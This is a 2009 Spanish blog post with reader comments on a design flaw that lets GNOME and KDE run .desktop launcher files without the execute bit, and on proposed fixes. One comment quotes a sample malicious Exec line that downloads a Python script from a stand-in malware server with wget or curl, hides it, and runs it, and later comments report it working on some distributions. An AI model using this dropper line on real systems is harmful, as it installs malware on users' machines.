17 de febrero de 2009

Virus en Linux a través de archivos .desktop

Se está hablando mucho en todo internet de este artículo, cuyo título es "Como escribir un virus para Linux en cinco pasos", utilizando archivos .desktop para ello. El problema es que Gnome y KDE interpretan directamente los archivos .desktop tan solo fijándose en la extensión. Esto supone una violación de los principios de Unix de que un archivo solamente es ejecutable cuando tiene el bit +x activado. En vez de hacer eso, deciden la "ejecutabilidad" basándose en el nombre del archivo...exactamente lo mismo que hizo Microsoft con los .com, .exe, .scr....y con exactamente las mismas consecuencias de (in)seguridad.

Los lectores fieles de este blog no se sorprenderán de esto porque un servidor ya advirtió de ello aquí, en Marzo del 2005, y hasta puse un ejemplo. Rellené un bug en freedesktop, y llevé el tema a las listas de freedesktop, en las que se ignoró el problema completamente. Espero que ahora lo arreglen...solucionarlo es sencillo: requerir el bit +x para interpretar un archivo .desktop. No debería tomar más que unas pocas líneas de código para solucionarlo en KDE y Gnome, y para las distros es fácil crear scripts que añadan a todos los archivos .desktop del sistema el bit +x...

18 comentarios:

  1. Anónimo12:25 a. m.

    Realmente es increíble que algo así lo hayan dejado durante tanto tiempo...

    ResponderEliminar
  2. Los entornos de escritorio GNOME y KDE tratan de facilitar las cosas para que los usuarios usen un sistema ameno y usable; los .desktop fueron creados con tal propósito (que el usuario no tuviera que lidiar con las políticas de uso de un ejecutable sencillo, como un icono en un panel). La usabilidad es un camino inevitable para que Linux domine el escritorio, y eso conlleva a que el usuario tiene que aprender menos, por lo que se podría aprovechar para comprometer la seguridad del sistema. Es cuestión de tiempo para que GNOME y KDE tengan métodos gráficos mas sencillos para otorgar permisos de ejecución, algo parecido a "el archivo nakedMadona78yearsOld.py no tiene permisos de ejecución, ¿desea otorgarselos?" y los usuarios caerán, de nuevo. Además, el articulo también habla de como un simple deb o rpm puede contener malware; y muchos usuarios añaden repositorios no oficiales o bajan paquetes independientes de software que aun no esta es los repos de su distro (muchos bajan cedega de emule, junto con un "crack"). Mientras más popular sea Linux, habrá más software comercial y por consiguiente más personas que caigan en el malware por tratar de burlar los sistemas de seguridad del software (como está pasando con OSX).

    ResponderEliminar
  3. El oe ya tuvo en su momento sus problemas con los .src... y ahora los tenemos nosotros. Si es que no aprendemos...

    Para los mantenedores de paquetes es trivial cambiar los permisos con los que se generan los .desktop.

    En fin, daaaa miedo esto.

    ResponderEliminar
  4. Anónimo4:02 p. m.

    Yo diría que teniendo en cuenta que tanto Gnome como KDE son multiplataforma. Bien se podría decir que no es un problema exclusivo que se pueda dar en Linux, sino también en otros sistemas operativos como Solaris.

    ResponderEliminar
  5. Byte Corrupto: Esto no tiene nada que ver con la usabilidad, se trata de un fallo de seguridad por cuestiones de diseño. Este fallo podría haberse solucionado desde el primer día y la usabilidad de Gnome y KDE hubiera sido exactamente la misma.

    Que Linux atraiga a más o menos usuarios y los crackers lo intenten atacar más o menos no tiene nada que ver aquí, no hay excusa para lo que ha pasado, NINGUNA.

    ResponderEliminar
  6. Anónimo12:14 a. m.

    Diego, no le des bolilla a ese tal Byte Corrupto.
    Es un troll que anda dando vueltas creando polemica.
    Basta con leer algunas de las payasadas que publica en su blog para darse cuenta.

    ResponderEliminar
  7. Anónimo6:04 p. m.

    En tal caso, no son virus para Linux, sino virus para (GNOME/KDE)+Linux. Lo vulnerable no es Linux (el kernel), sino una parte muy determinada del sistema.

    ResponderEliminar
  8. Anónimo6:46 p. m.

    Hola: Mi nombre es Joaquin Bogado y soy desarrollador de una distribución basada en Debian llamada Lihuen (lihuen.linti.unlp.edu.ar)
    Para contestarle a Diego Calleja, no sería posible que para ejecutar los archivos .desktop haga falta el bit +x debido a que muchas distribuciones de linux (Gentoo por ejemplo) cuando la carpeta del usuario se encuentra en una partición separada, esta se monta por defecto con la opción noexec. Esta opción impide que se ejecuten archivos en las carpetas de los usuarios, incluso si tienen el bit x activado. No hice pruebas suficientes todavía para asegurarme de si la carpeta /tmp se encuentra en una partición separada o montada como tmpfs con el flag de noexec, todo lo que se propone en http://www.geekzone.co.nz/foobar/6229 funcione. Además, lo que se plantea como solución para arrancar el "virus" cada vez que el usuario se loguea no funciona, ya que el contenido de la carpeta /tmp se borra al reiniciar.
    Saludos y cualquier consulta me buscan en la página de Lihuen y me mandan un mail.
    saludos

    Joaquin

    ResponderEliminar
  9. Anónimo7:36 p. m.

    Si se enteran de esto mis amigos de win, seré el hazme reir de la clase...

    :(

    ResponderEliminar
  10. Joaquín: Peor lo pones, camarada. Si se monta una partición como "noexec", es porque se quiere EVITAR que se puedan ejecutar cosas desde esa partición, por razones de seguridad.

    Y si la política de seguridad es la de no permitir la ejecución de cosas dentro de esa partición....¿qué sentido tiene que dentro de una partición montada como "noexec" se puedan ejecutar archivos .desktop sin permiso +x?

    No solo no tiene sentido, sino que para más inri permite saltarse la precaución de seguridad que supone noexec. Es decir, que no solo tu argumento no se sostiene, sino que en realidad es otra buena razón por la que el modelo actual está equivocado. Es un grave problema de seguridad.

    Además, precisamente las particiones "externas" que más se suelen montar suelen ser las de las memorias USB. En Windows, gracias a que la ejecutabilidad de los programas se decide en base al nombre del archivo, se han construido virus (muy de moda) que se copian a través de esas memorias USB. Las mismas técnicas que utilizan ellas pueden utilizarse en Linux gracias a los archivos .desktop. ¿Y en vez de arreglarlo, propones conservarlo....?

    ResponderEliminar
  11. Anónimo2:12 a. m.

    Diego:
    No, no me explique bien! Esta claro de que si es un error de seguridad, DEBE arreglarse. Lo que planteaba es que ponerle un bit de ejecución a los .desktop no funcionaria como solución.
    Además en tu post, dice
    "El problema es que Gnome y KDE interpretan directamente los archivos .desktop tan solo fijándose en la extensión."
    Esto no es cierto y se corrige en el mismo post
    http://www.geekzone.co.nz/foobar/6236
    y cito "The Gnome and KDE desktops actually read the file, and don't base their decision to special-case the file on the file-name extension!"
    Aquí el problema no es el .desktop en sí, si no el comando que el .desktop ejecuta.
    En el ejemplo del articulo original, propone poner como atributo del .desktop
    Exec=bash -c 'URL=http://www.my_malware_server.com s.py;
    DROP=~/.local/.hidden ;
    mkdir -p $DROP;
    if [ -e /usr/bin/wget ] ;
    then wget $URL -O DROP/s.py;
    else curl $URL -o DROP/s.py;fi;
    python $DROP/s.py'
    De esto, lo que no funciona cuando tenes montada la partición como noexec, es la llamada a python.
    Estuve toda la tarde tratando de reproducir el virus en varias computadoras del trabajo sin éxito. Incluso teniendo permisos de ejecución en el .desktop (cosa que se dice, no hace falta), con la partición /home montada con exec (con permisos de ejecución en /home), cosas que si funcionaban como correr desde la consola bash -c 'python s.py', desde el .desktop no funcionaban. Ni hablar de bajar cosas de internet.
    Lamento desilucionarlos.
    Si alguien fue capas de reproducir la vulnerabilidad, por favor avise, postee algo aquí.
    Saludos cordiales!
    Joaquin

    ResponderEliminar
  12. Anónimo10:03 a. m.

    Buenas Joaquin,

    lo acabo de probar y funciona perfectamente en una Ubuntu 8.04.2 con Gnome. Lo que no funciona es tener varias lineas para el atributo Exec. Cuando se describe en la web original lo pone en varias lineas, me imagino que para mayor facilidad de lectura. Prueba a ver si te funciona si dejas todo el exec en una linea. No lo he probado quitándole los permisos de ejecución a /home

    Saludos,
    Eric

    ResponderEliminar
  13. Anónimo2:26 p. m.

    Eric: Lo probé con lineas tan simples como
    Exec=bash -c 'python s.py'
    y no hubo caso. Tengo KDE 3.5.9 sobre Gentoo. Voy a hacer más pruebas sobre algunos Debian y derivados y luego les cuento :)
    Saludos
    Joaquin

    ResponderEliminar
  14. Anónimo5:26 p. m.

    Cualquiera con un conocimiento medio en programacion se hubiera dado cuenta de este SUPER BUG, y xq se toma conciencia recien ahora!? Xq la comunidad de LINUX es muy pequeña (y lo peor de todo es que estan divididos en mil proyectos fragmentandola cada vez mas) y no tienen capacidad para hacer debug!!
    En definitiva LINUX es solo para expertos, o sea si realmente queres aprovechar su poder no podes ser un NEWBIE!!!

    ResponderEliminar
  15. Anónimo6:20 p. m.

    Es una pena que este sitio este lleno de Trolls... Creí que este era un blog, serio...
    Da lástima como hay gente que habla sin tener idea de lo que dice, solo porque puede dar su opinión y ya. Si tenemos 2 oidos y una boca es para que escuchemos el doble de lo que hablamos.
    Eric: Hice las pruebas pero sin resultados contundentes. En Debian lenny con Gnome 2.22 el ""virus"" funciona. Incluso teniendo montada la partición /home como noexec.
    Todas las soluciones que se me ocurren dependen de la confirmación del usuario, y todos sabemos que basar la seguridad del equipo en algo que el usuario puede decidir, no funciona. Veremos más adelante si Gnome o KDE encuentran una solución de verdad a esto.
    Saludos
    Joaquin

    ResponderEliminar
  16. Esta es la solución que están implementando:
    http://www.purinchu.net/wp/2009/02/21/desktop-file-security/

    ResponderEliminar
  17. Anónimo4:20 a. m.

    A decir verdad cuando un .desktop no tiene el bit +x aparece un diálogo diciendo "Este lanzador no es de confianza" Y con 3 opciones: "Ejecutar de todas formas" "Marcar este lanzador como de confianza" "Cancelar" Si lo marcas como de confianza se agrega el bit +x, y si esto no es posible se agrega a una lista en ~/.local/ . No es tan vulnerable

    Los .desktop son de confianza siempre que el usuario los haya creado sea con un editor de texto o con asistentes, pero no cuando fueron creados por otro usuario (incluído root) o descargados de internet.

    ResponderEliminar
  18. Tienes razón aprendiendolinux, pero se trata de que sea transparente al usuario, porque muchos con tal de ejecutar lo que promete ese .desktop lo ejecutarán de todas formas.

    Saludos

    ResponderEliminar